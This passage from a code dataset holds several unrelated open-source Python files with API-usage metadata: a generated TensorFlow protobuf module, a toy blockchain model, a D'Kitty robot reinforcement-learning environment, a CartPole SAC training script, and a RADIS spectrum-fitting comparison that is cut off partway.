{"api_name": "torch.nn.Module", "line_number": 761, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 761, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 771, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 771, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 772, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 772, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 774, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 774, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 775, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 775, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 776, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 776, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 777, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 777, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 778, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 778, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 779, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 779, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 781, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 781, "usage_type": "name"}]}
{"seq_id": "11458113472", "text": "import sys\n\n_b = sys.version_info[0] < 3 and (lambda x: x) or (lambda x: x.encode(\"latin1\"))\nfrom google.protobuf import descriptor as _descriptor\nfrom google.protobuf import message as _message\nfrom google.protobuf import reflection as _reflection\nfrom google.protobuf import symbol_database as _symbol_database\n\n# @@protoc_insertion_point(imports)\n\n_sym_db = _symbol_database.Default()\n\n\nDESCRIPTOR = _descriptor.FileDescriptor(\n    name=\"tensorflow/core/framework/allocation_description.proto\",\n    package=\"tensorflow\",\n    syntax=\"proto3\",\n    serialized_options=_b(\n        \"\\n\\030org.tensorflow.frameworkB\\033AllocationDescriptionProtosP\\001Z=github.com/tensorflow/tensorflow/tensorflow/go/core/framework\\370\\001\\001\"\n    ),\n    serialized_pb=_b(\n        '\\n6tensorflow/core/framework/allocation_description.proto\\x12\\ntensorflow\"\\xa3\\x01\\n\\x15\\x41llocationDescription\\x12\\x17\\n\\x0frequested_bytes\\x18\\x01 \\x01(\\x03\\x12\\x17\\n\\x0f\\x61llocated_bytes\\x18\\x02 \\x01(\\x03\\x12\\x16\\n\\x0e\\x61llocator_name\\x18\\x03 \\x01(\\t\\x12\\x15\\n\\rallocation_id\\x18\\x04 \\x01(\\x03\\x12\\x1c\\n\\x14has_single_reference\\x18\\x05 \\x01(\\x08\\x12\\x0b\\n\\x03ptr\\x18\\x06 \\x01(\\x04\\x42{\\n\\x18org.tensorflow.frameworkB\\x1b\\x41llocationDescriptionProtosP\\x01Z=github.com/tensorflow/tensorflow/tensorflow/go/core/framework\\xf8\\x01\\x01\\x62\\x06proto3'\n    ),\n)\n\n\n_ALLOCATIONDESCRIPTION = _descriptor.Descriptor(\n    name=\"AllocationDescription\",\n    full_name=\"tensorflow.AllocationDescription\",\n    filename=None,\n    file=DESCRIPTOR,\n    containing_type=None,\n    fields=[\n        _descriptor.FieldDescriptor(\n            name=\"requested_bytes\",\n            full_name=\"tensorflow.AllocationDescription.requested_bytes\",\n            index=0,\n            number=1,\n            type=3,\n            cpp_type=2,\n            label=1,\n            has_default_value=False,\n            default_value=0,\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n        _descriptor.FieldDescriptor(\n            name=\"allocated_bytes\",\n            full_name=\"tensorflow.AllocationDescription.allocated_bytes\",\n            index=1,\n            number=2,\n            type=3,\n            cpp_type=2,\n            label=1,\n            has_default_value=False,\n            default_value=0,\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n        _descriptor.FieldDescriptor(\n            name=\"allocator_name\",\n            full_name=\"tensorflow.AllocationDescription.allocator_name\",\n            index=2,\n            number=3,\n            type=9,\n            cpp_type=9,\n            label=1,\n            has_default_value=False,\n            default_value=_b(\"\").decode(\"utf-8\"),\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n        _descriptor.FieldDescriptor(\n            name=\"allocation_id\",\n            full_name=\"tensorflow.AllocationDescription.allocation_id\",\n            index=3,\n            number=4,\n            type=3,\n            cpp_type=2,\n            label=1,\n            has_default_value=False,\n            default_value=0,\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n        _descriptor.FieldDescriptor(\n            name=\"has_single_reference\",\n            full_name=\"tensorflow.AllocationDescription.has_single_reference\",\n            index=4,\n            number=5,\n            type=8,\n            cpp_type=7,\n            label=1,\n            has_default_value=False,\n            default_value=False,\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n        _descriptor.FieldDescriptor(\n            name=\"ptr\",\n            full_name=\"tensorflow.AllocationDescription.ptr\",\n            index=5,\n            number=6,\n            type=4,\n            cpp_type=4,\n            label=1,\n            has_default_value=False,\n            default_value=0,\n            message_type=None,\n            enum_type=None,\n            containing_type=None,\n            is_extension=False,\n            extension_scope=None,\n            serialized_options=None,\n            file=DESCRIPTOR,\n        ),\n    ],\n    extensions=[],\n    nested_types=[],\n    enum_types=[],\n    serialized_options=None,\n    is_extendable=False,\n    syntax=\"proto3\",\n    extension_ranges=[],\n    oneofs=[],\n    serialized_start=71,\n    serialized_end=234,\n)\n\nDESCRIPTOR.message_types_by_name[\"AllocationDescription\"] = _ALLOCATIONDESCRIPTION\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\n\nAllocationDescription = _reflection.GeneratedProtocolMessageType(\n    \"AllocationDescription\",\n    (_message.Message,),\n    dict(\n        DESCRIPTOR=_ALLOCATIONDESCRIPTION,\n        __module__=\"tensorflow.core.framework.allocation_description_pb2\"\n        # @@protoc_insertion_point(class_scope:tensorflow.AllocationDescription)\n    ),\n)\n_sym_db.RegisterMessage(AllocationDescription)\n\n\nDESCRIPTOR._options = None\n# @@protoc_insertion_point(module_scope)\n", "repo_name": "Xilinx/Vitis-AI", "sub_path": "src/vai_quantizer/xnnc4xir/xnnc/proto/tf_pb2/allocation_description_pb2.py", "file_name": "allocation_description_pb2.py", "file_ext": "py", "file_size_in_byte": 5699, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1266, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.version_info", "line_number": 3, "usage_type": "attribute"}, {"api_name": "google.protobuf.symbol_database.Default", "line_number": 11, "usage_type": "call"}, {"api_name": "google.protobuf.symbol_database", "line_number": 11, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FileDescriptor", "line_number": 14, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 14, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.Descriptor", "line_number": 27, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 27, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 34, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 34, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 52, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 52, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 70, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 70, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 88, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 88, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 106, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 106, "usage_type": "name"}, {"api_name": "google.protobuf.descriptor.FieldDescriptor", "line_number": 124, "usage_type": "call"}, {"api_name": "google.protobuf.descriptor", "line_number": 124, "usage_type": "name"}, {"api_name": "google.protobuf.reflection.GeneratedProtocolMessageType", "line_number": 158, "usage_type": "call"}, {"api_name": "google.protobuf.reflection", "line_number": 158, "usage_type": "name"}, {"api_name": "google.protobuf.message.Message", "line_number": 160, "usage_type": "attribute"}, {"api_name": "google.protobuf.message", "line_number": 160, "usage_type": "name"}]}
{"seq_id": "42515446711", "text": "from time import time\nfrom uuid import uuid4\nfrom hashlib import sha256\n\n\nclass Block(object):\n    def __init__(self, key, index, transactions, prev_hash):\n        \"\"\"An element of the blockchain.\n        \n        Args:\n            key: Proof of work.\n            index: Position in the chain.\n            transactions: Confirmed transactions bound to this block.\n            prev_hash: Hash value of the preceding block.\n        \"\"\"\n        self.key = key\n        self.index = index\n        self.transactions = transactions\n        self.prev_hash = prev_hash\n        self.timestamp = time()\n\n    def __repr__(self):\n        \"\"\"SHA-256 representation of this block.\"\"\"\n        encoding = str(self.serialize()).encode()\n        return sha256(encoding).hexdigest()\n\n    def serialize(self):\n        transactions = [t.serialize() for t in self.transactions]\n        fields = {\n            'proof': self.key,\n            'index': self.index,\n            'transactions': transactions,\n            'prev_hash': self.prev_hash,\n            'timestamp': self.timestamp\n        }\n        return str(fields)\n\n\nclass Transaction(object):\n    def __init__(self, source, recipient, amount):\n        \"\"\"Handshake between two members, signed by their addresses.\n    \n        Args:\n            source: Sending node's UUID.\n            recipient: Receiving node's UUID.\n            amount: Value to transfer.\n        \"\"\"\n        self.source = source\n        self.recipient = recipient\n        self.amount = amount\n\n    def serialize(self):\n        fields = {\n            'source': self.source,\n            'recipient': self.recipient,\n            'amount': self.amount\n        }\n        return str(fields)\n\n\nclass Node(object):\n    def __init__(self):\n        \"\"\"Pairs each connection to the network with a unique identifer.\"\"\"\n        self.address = str(uuid4())\n\n    def __str__(self):\n        return self.address\n", "repo_name": "zhengger/blockchain-1", "sub_path": "core/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 25, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "74856296583", "text": "import abc\nimport collections\nfrom typing import Dict, Optional, Sequence, Union\n\nimport numpy as np\n\nfrom dsuite.dkitty.base_env import BaseDKittyEnv\nfrom dsuite.simulation.randomize import SimRandomizer\nfrom dsuite.utils.configurable import configurable\nfrom dsuite.utils.resources import get_asset_path\n\nDKITTY_ASSET_PATH = 'dsuite/dkitty/assets/dkitty_walk-v0.xml'\n\nDEFAULT_OBSERVATION_KEYS = (\n    'root_qpos',\n    'kitty_qpos',\n    'root_qvel',\n    'kitty_qvel',\n    'last_action',\n    'upright',\n    'pose_error',\n)\n\n\nclass BaseDKittyStand(BaseDKittyEnv, metaclass=abc.ABCMeta):\n    \"\"\"Shared logic for DKitty turn tasks.\"\"\"\n\n    def __init__(self,\n                 asset_path: str = DKITTY_ASSET_PATH,\n                 observation_keys: Sequence[str] = DEFAULT_OBSERVATION_KEYS,\n                 device_path: Optional[str] = None,\n                 torso_tracker_id: Optional[Union[str, int]] = None,\n                 frame_skip: int = 40,\n                 **kwargs):\n        \"\"\"Initializes the environment.\n\n        Args:\n            asset_path: The XML model file to load.\n            observation_keys: The keys in `get_obs_dict` to concatenate as the\n                observations returned by `step` and `reset`.\n            device_path: The device path to Dynamixel hardware.\n            torso_tracker_id: The device index or serial of the tracking device\n                for the D'Kitty torso.\n            frame_skip: The number of simulation steps per environment step.\n        \"\"\"\n        super().__init__(\n            sim_model=get_asset_path(asset_path),\n            robot_config=self.get_robot_config(device_path),\n            tracker_config=self.get_tracker_config(torso=torso_tracker_id,),\n            observation_keys=observation_keys,\n            frame_skip=frame_skip,\n            **kwargs)\n\n        self._last_action = np.zeros(12)\n        self._desired_pose = np.zeros(12)\n        self._initial_pose = np.zeros(12)\n\n    def _reset(self):\n        \"\"\"Resets the environment.\"\"\"\n        self._reset_dkitty_standing(kitty_pos=self._initial_pose,)\n\n        # Let gravity pull the simulated robot to the ground before starting.\n        if not self.has_hardware_robot:\n            self.robot.step({'dkitty': self._initial_pose}, denormalize=False)\n            self.sim_scene.advance(100)\n\n    def _step(self, action: np.ndarray):\n        \"\"\"Applies an action to the robot.\"\"\"\n        self.robot.step({\n            'dkitty': action,\n        })\n        # Save the action to add to the observation.\n        self._last_action = action\n\n    def get_obs_dict(self) -> Dict[str, np.ndarray]:\n        \"\"\"Returns the current observation of the environment.\n\n        Returns:\n            A dictionary of observation values. This should be an ordered\n            dictionary if `observation_keys` isn't set.\n        \"\"\"\n        root_sim_state, robot_state = self.robot.get_state(['root', 'dkitty'])\n        torso_track_state = self.tracker.get_state('torso')\n        root_qpos, root_qvel = self._get_root_qpos_qvel(root_sim_state,\n                                                        torso_track_state)\n\n        # Get the alignment of the torso's z-axis with the global z-axis.\n        torso_upright = torso_track_state.rot[2, 2]\n\n        return collections.OrderedDict((\n            ('root_qpos', root_qpos),\n            ('root_qvel', root_qvel),\n            ('kitty_qpos', robot_state.qpos),\n            ('kitty_qvel', robot_state.qvel),\n            ('last_action', self._last_action),\n            ('upright', torso_upright),\n            ('pose_error', self._desired_pose - robot_state.qpos),\n        ))\n\n    def get_reward_dict(\n            self,\n            action: np.ndarray,\n            obs_dict: Dict[str, np.ndarray],\n    ) -> Dict[str, np.ndarray]:\n        \"\"\"Returns the reward for the given action and observation.\"\"\"\n        pose_mean_error = np.abs(obs_dict['pose_error']).mean(axis=1)\n        upright = obs_dict['upright']\n\n        reward_dict = collections.OrderedDict((\n            # Reward for closeness to desired pose.\n            ('pose_error_cost', -4 * pose_mean_error),\n            # Upright - 1 @ cos(0) to 0 @ cos(25deg).\n            ('upright', 2 * upright),\n            # Bonus when mean error < 30deg, scaled by uprightedness.\n            ('bonus_small', 5 * (pose_mean_error < (np.pi / 6)) * upright),\n            # Bonus when mean error < 15deg and upright within 30deg.\n            ('bonus_big',\n             10 * (pose_mean_error < (np.pi / 12)) * (upright > 0.9)),\n        ))\n        return reward_dict\n\n    def get_score_dict(\n            self,\n            obs_dict: Dict[str, np.ndarray],\n            reward_dict: Dict[str, np.ndarray],\n    ) -> Dict[str, np.ndarray]:\n        \"\"\"Returns a standardized measure of success for the environment.\"\"\"\n        # Normalize pose error by 60deg.\n        pose_points = (1 - np.maximum(\n            np.abs(obs_dict['pose_error']).mean(axis=1) / (np.pi / 3), 1))\n\n        return collections.OrderedDict((\n            ('points', pose_points * obs_dict['upright']),\n            ('success', reward_dict['bonus_big'] > 0.0),\n        ))\n\n    def get_done(\n            self,\n            obs_dict: Dict[str, np.ndarray],\n            reward_dict: Dict[str, np.ndarray],\n    ) -> np.ndarray:\n        \"\"\"Returns whether the episode should terminate.\"\"\"\n        # Terminate the episode if more than ~90deg misaligned with z-axis.\n        return obs_dict['upright'] < 0\n\n\n@configurable(pickleable=True)\nclass DKittyStandFixed(BaseDKittyStand):\n    \"\"\"Stand up from a fixed position.\"\"\"\n\n    def _reset(self):\n        \"\"\"Resets the environment.\"\"\"\n        self._initial_pose[[0, 3, 6, 9]] = 0\n        self._initial_pose[[1, 4, 7, 10]] = np.pi / 4\n        self._initial_pose[[2, 5, 8, 11]] = -np.pi / 2\n        super()._reset()\n\n\n@configurable(pickleable=True)\nclass DKittyStandRandom(BaseDKittyStand):\n    \"\"\"Stand up from a random position.\"\"\"\n\n    def _reset(self):\n        \"\"\"Resets the environment.\"\"\"\n        limits = self.robot.get_config('dkitty').qpos_range\n        self._initial_pose = self.np_random.uniform(\n            low=limits[:, 0], high=limits[:, 1])\n        super()._reset()\n\n\n@configurable(pickleable=True)\nclass DKittyStandRandomDynamics(DKittyStandRandom):\n    \"\"\"Stand up from a random positon with randomized dynamics.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self._randomizer = SimRandomizer(self.sim_scene, self.np_random)\n        self._dof_indices = (\n            self.robot.get_config('dkitty').qvel_indices.tolist())\n\n    def _reset(self):\n        \"\"\"Resets the environment.\"\"\"\n        # Randomize joint dynamics.\n        self._randomizer.randomize_dofs(\n            self._dof_indices,\n            all_same=True,\n            damping_range=(0.1, 0.2),\n            friction_loss_range=(0.001, 0.005),\n        )\n        self._randomizer.randomize_actuators(\n            all_same=True,\n            kp_range=(2, 4),\n        )\n        # Randomize friction on all geoms in the scene.\n        self._randomizer.randomize_geoms(\n            all_same=True,\n            friction_slide_range=(0.8, 1.2),\n            friction_spin_range=(0.003, 0.007),\n            friction_roll_range=(0.00005, 0.00015),\n        )\n        # Generate a random height field.\n        self._randomizer.randomize_global(\n            total_mass_range=(1.6, 2.0),\n            height_field_range=(0, 0.05),\n        )\n        self.sim_scene.upload_height_field(0)\n        # Randomize visuals.\n        self._randomizer.randomize_geoms(\n            ['torso1'],\n            color_range=(0.2, 0.9),\n        )\n        super()._reset()\n", "repo_name": "justinvyu/dsuite", "sub_path": "dsuite/dkitty/stand.py", "file_name": "stand.py", "file_ext": "py", "file_size_in_byte": 7641, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dsuite.dkitty.base_env.BaseDKittyEnv", "line_number": 25, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 25, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 32, "usage_type": "name"}, {"api_name": "dsuite.utils.resources.get_asset_path", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 67, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 90, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 75, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 102, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 106, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 118, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 104, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 124, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 125, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.maximum", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 130, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 132, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 126, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 126, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 139, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 139, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 140, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 141, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 154, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 155, "usage_type": "attribute"}, {"api_name": "dsuite.utils.configurable.configurable", "line_number": 147, "usage_type": "call"}, {"api_name": "dsuite.utils.configurable.configurable", "line_number": 159, "usage_type": "call"}, {"api_name": "dsuite.simulation.randomize.SimRandomizer", "line_number": 177, "usage_type": "call"}, {"api_name": "dsuite.utils.configurable.configurable", "line_number": 171, "usage_type": "call"}]}
{"seq_id": "31424219024", "text": "import torch\nfrom itertools import count\nimport gym\nimport os\nimport yaml  # pip install pyyaml\nfrom datetime import datetime\nfrom interaction_learning.algorithms.sacd.agent.soft_actor_critic_agent import SACAgent\n\n\ndevice = torch.device(\"cpu\")\n\nconfig_path = os.path.join('../../algorithms/sacd/config', 'sacd.yaml')\nenv_id = 'CartPole-v0'\nshared = False\ncuda = False\nseed = 0\n\nwith open(config_path) as f:\n    config = yaml.load(f, Loader=yaml.SafeLoader)\n\n# Specify the directory to log.\nname = config_path.split('/')[-1].rstrip('.yaml')\nif shared:\n    name = 'shared-' + name\ntime = datetime.now().strftime(\"%Y%m%d-%H%M\")\nlog_dir = os.path.join(\n    'logs', env_id, f'{name}-seed{seed}-{time}')\n\n# Create environments.\nenv = gym.make(env_id)\ntest_env = gym.make(env_id)\n\nobs_space = env.observation_space\naction_space = env.action_space\n\nagent = SACAgent(obs_space, action_space, log_dir=log_dir, cuda=cuda,\n                 seed=seed, **config)\n\nlearn_steps = 0\nbegin_learn = False\nepisode_reward = 0\nagent.steps = 0\n\nfor epoch in count():\n    state = env.reset()\n    episode_reward = 0\n    for time_steps in range(200):\n        action = agent.select_action(state, explore=True)\n        next_state, reward, done, _ = env.step(action)\n        episode_reward += reward\n        agent.memory.append(state, action, reward, next_state, done)\n        agent.steps += 1\n        if agent.is_update():\n            if begin_learn is False:\n                print('begin learning!')\n                begin_learn = True\n            loss = agent.update_model()\n            learn_steps += 1\n            if learn_steps % agent.target_update_interval == 0:\n                agent.target_hard_update()\n\n        if done:\n            break\n\n        state = next_state\n    if epoch % 10 == 0:\n        print('Ep {}\\tMoving average score: {:.2f}\\t'.format(epoch, episode_reward))\n\n    if epoch % (agent.eval_interval / 200) == 0:\n        num_episodes = 0\n        num_steps = 0\n        total_return = 0.0\n\n        while True:\n            state = test_env.reset()\n            episode_steps = 0\n            episode_return = 0.0\n            done = False\n            while (not done) and episode_steps <= 200:\n                action = agent.select_action(state, explore=False)\n                next_state, reward, done, _ = test_env.step(action)\n                num_steps += 1\n                episode_steps += 1\n                episode_return += reward\n                state = next_state\n\n            num_episodes += 1\n            total_return += episode_return\n\n            if num_steps > agent.num_eval_steps:\n                break\n\n        mean_return = total_return / num_episodes\n\n        print(f\"Evaluation Mean Score: {mean_return}\")\n\n    if epoch >= agent.num_steps // 20:\n        agent.save_models(os.path.join(agent.model_dir, 'final'))\n        break\n", "repo_name": "DavidRother/interaction_learning", "sub_path": "interaction_learning/scripts/test_scripts/adapted_sac_test.py", "file_name": "adapted_sac_test.py", "file_ext": "py", "file_size_in_byte": 2833, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.device", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 19, "usage_type": "call"}, {"api_name": "yaml.SafeLoader", "line_number": 19, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 30, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 31, "usage_type": "call"}, {"api_name": "interaction_learning.algorithms.sacd.agent.soft_actor_critic_agent.SACAgent", "line_number": 36, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}]}
{"seq_id": "20434135351", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n\n================================================================================\nCompare performance between old 1T fitting example and new fitting module\n================================================================================\n\nThis example will try to fit an experimental spectrum using two fitting pipelines:\n\n- Old fitting module of :py:func:`~radis.tools.fitting.fit_spectrum`, which is the\n  current RADIS fitting module. You can find the gallery example featuring it at\n  `1 temperature fit <https://radis.readthedocs.io/en/latest/auto_examples/plot_1T_fit.html>`.\n- New fitting module of :py:func:`~radis.tools.new_fitting.fit_spectrum`, a new\n  fitting interface for a more practical and interactive fitting experience. See\n  `1 temperature fit using new module <https://radis.readthedocs.io/en/latest/auto_examples/plot_newfitting_Tgas.html>`\n\nWith this, you can compare their overall performance, including number of loops,\nfitting time, and final residuals between experimental and best-fit spectra, as\nan indicator of fit accuracy.\n\n\"\"\"\n\nimport time\n\nimport astropy.units as u\n\nfrom radis import SpectrumFactory, load_spec, plot_diff\nfrom radis.test.utils import getTestFile, setup_test_line_databases\nfrom radis.tools.fitting import LTEModel\nfrom radis.tools.new_fitting import fit_spectrum\n\n# ------------------------------------ OLD 1-TEMPERATURE FITTING EXAMPLE ------------------------------------ #\n\nsetup_test_line_databases()\n\n# fit range\nwlmin = 4167\nwlmax = 4180\n\ns_exp = (\n    load_spec(getTestFile(\"CO2_measured_spectrum_4-5um.spec\"))\n    .crop(wlmin, wlmax, \"nm\")\n    .normalize()\n    .sort()\n    .offset(-0.2, \"nm\")\n)\n\n\ndef LTEModel_withslitnorm(factory, fit_parameters, fixed_parameters):\n    s = LTEModel(factory, fit_parameters, fixed_parameters)\n    # we could also have added a fittable parameter, such as an offset,\n    # or made the slit width a fittable parameter.\n    # ... any parameter in model_input will be fitted.\n    # s.offset(model_input[\"offset\"], 'nm')\n    s.apply_slit(1.4, \"nm\")\n    return s.take(\"radiance\").normalize()\n\n\nsf = SpectrumFactory(\n    wlmin * u.nm,\n    wlmax * u.nm,\n    wstep=0.001,  # cm-1\n    pressure=1 * 1e-3,  # bar\n    cutoff=1e-25,\n    isotope=\"1,2\",\n    path_length=10,  # cm-1\n    mole_fraction=1,\n    truncation=1,  # cm-1\n)\nsf.warnings[\"MissingSelfBroadeningWarning\"] = \"ignore\"\nsf.warnings[\"HighTemperatureWarning\"] = \"ignore\"\nsf.load_databank(\"HITRAN-CO2-TEST\")\n\nbegin_time_mark = time.time()\n\ns_best, best = sf.fit_spectrum(\n    s_exp.take(\"radiance\"),\n    model=LTEModel_withslitnorm,\n    fit_parameters={\n        \"Tgas\": 300,\n        # \"offset\": 0\n    },\n    bounds={\n        \"Tgas\": [300, 2000],\n        # \"offset\": [-1, 1],\n    },\n    plot=True,\n    solver_options={\n        \"maxiter\": 15,  # ðŸ‘ˆ increase to let the fit converge\n        \"ftol\": 1e-15,\n    },\n    verbose=2,\n)\n\nend_time_mark = time.time()\n\nplot_diff(s_exp, s_best)\n\n# Information to report later in comparison result\noldfitting_residual = best.fun\noldfitting_loops = best.nfev\noldfitting_time = end_time_mark - begin_time_mark\n\n# ------------------------------------------------------------------------------------------------------------ #\n\n\n# -------------------------------------------- NEW FITTING MODULE -------------------------------------------- #\n\n\n# ------------------------------------ Step 1. Load experimental spectrum ------------------------------------ #\n\n\n# Load an experimental spectrum. You can prepare yours, or fetch one of them in the radis/test/files directory.\nmy_spec = getTestFile(\"CO2_measured_spectrum_4-5um.spec\")\ns_experimental = load_spec(my_spec).offset(-0.2, \"nm\")\n\n\n# ------------------------------------ Step 2. Fill ground-truths and data ------------------------------------ #\n\n\n# Experimental conditions which will be used for spectrum modeling. Basically, these are known ground-truths.\nexperimental_conditions = {\n    \"molecule\": \"CO2\",  # Molecule ID\n    \"isotope\": \"1,2\",  # Isotope ID, can have multiple at once\n    \"wmin\": 4167\n    * u.nm,  # Starting wavelength/wavenumber to be cropped out from the original experimental spectrum.\n    \"wmax\": 4180 * u.nm,  # Ending wavelength/wavenumber for the cropping range.\n    \"mole_fraction\": 1,  # Species mole fraction, from 0 to 1.\n    \"pressure\": 1\n    * 1e-3\n    * u.bar,  # Total pressure of gas, in \"bar\" unit by default, but you can also use Astropy units.\n    \"path_length\": 10\n    * u.cm,  # Experimental path length, in \"cm\" unit by default, but you can also use Astropy units.\n    \"slit\": \"1.4 nm\",  # Experimental slit, must be a blank space separating slit amount and unit.\n    \"wstep\": 0.001,  # Resolution of wavenumber grid, in cm-1.\n    \"databank\": \"hitran\",  # Databank used for the spectrum calculation. Must be stated.\n}\n\n# List of parameters to be fitted, accompanied by their initial values.\nfit_parameters = {\n    \"Tgas\": 1150,  # Gas temperature, in K.\n}\n\n# List of bounding ranges applied for those fit parameters above.\n# You can skip this step and let it use default bounding ranges, but this is not recommended.\n# Bounding range must be at format [<lower bound>, <upper bound>].\nbounding_ranges = {\n    \"Tgas\": [\n        300,\n        2000,\n    ],\n}\n\n# Fitting pipeline setups.\nfit_properties = {\n    \"method\": \"lbfgsb\",  # Preferred fitting method. By default, \"leastsq\".\n    \"fit_var\": \"radiance\",  # Spectral quantity to be extracted for fitting process, such as \"radiance\", \"absorbance\", 